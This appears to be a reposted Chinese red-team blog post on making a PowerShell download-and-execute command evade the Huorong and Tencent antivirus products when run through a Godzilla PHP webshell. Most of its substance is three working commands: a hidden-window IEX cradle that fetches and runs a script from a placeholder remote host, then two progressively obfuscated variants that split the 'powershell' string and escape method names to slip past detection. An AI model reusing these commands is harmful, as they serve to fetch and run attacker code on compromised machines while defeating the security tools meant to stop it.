红队攻防之powershell上线基础免杀(一)

admin 2024年2月25日23:47:50评论25 views字数 1130阅读3分46秒阅读模式

不努力,你背井离乡干嘛?当卧底啊

环境为win10,在哥斯拉生成的webshell下,执行powershell命令。

测试杀毒软件为:火绒,腾讯电脑管家

哥斯拉生成php文件的webshell

红队攻防之powershell上线基础免杀(一)

如图

红队攻防之powershell上线基础免杀(一)

哥斯拉进行连接

红队攻防之powershell上线基础免杀(一)

把要执行命令的文件放在远程服务器上

红队攻防之powershell上线基础免杀(一)

进入命令执行界面,首先使用正常的powershell加载指令

powershell -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://x.x.x.x/x.txt'))"

我们会发现火绒进行拦截

红队攻防之powershell上线基础免杀(一)

经过测试,发现主要是对powershell这个字符串进行了拦截拦截,那就可以尝试对该字符串进行拼接。

set aa=powers&& set bb=hell && cmd /c "echo iex(New-Object Net.WebClient).DownloadString('http://x.x.x.x/x.txt') | %aa%%bb% -"

成功执行了命令

红队攻防之powershell上线基础免杀(一)

测试可行之后,可以继续进行修改,从而做到进一步免杀

set aa=powers&& set bb=hell && cmd /c "echo set-alias -name test -value IEX;test(New-Object NeT."W`ebC`li`ent")."D`own`l`oadStr`ing"('h'+'ttP://x'+'x.0.0.'+'x/x.txt') | %aa%%bb% -"

成功执行命令

红队攻防之powershell上线基础免杀(一)

CSDN:
https://blog.csdn.net/weixin_48899364?type=blog

公众号:
https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg5NTU2NjA1Mw==&action=getalbum&album_id=1696286248027357190&scene=173&from_msgid=2247485408&from_itemidx=1&count=3&nolastread=1#wechat_redirect

博客:
https://rdyx0.github.io/

先知社区:
https://xz.aliyun.com/u/37846

SecIN:
https://www.sec-in.com/author/3097

FreeBuf:
https://www.freebuf.com/author/%E5%9B%BD%E6%9C%8D%E6%9C%80%E5%BC%BA%E6%B8%97%E9%80%8F%E6%8E%8C%E6%8E%A7%E8%80%85


原文始发于微信公众号(儒道易行):红队攻防之powershell上线基础免杀(一)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月25日23:47:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   红队攻防之powershell上线基础免杀(一)https://cn-sec.com/archives/2524346.html

发表评论

匿名网友 填写信息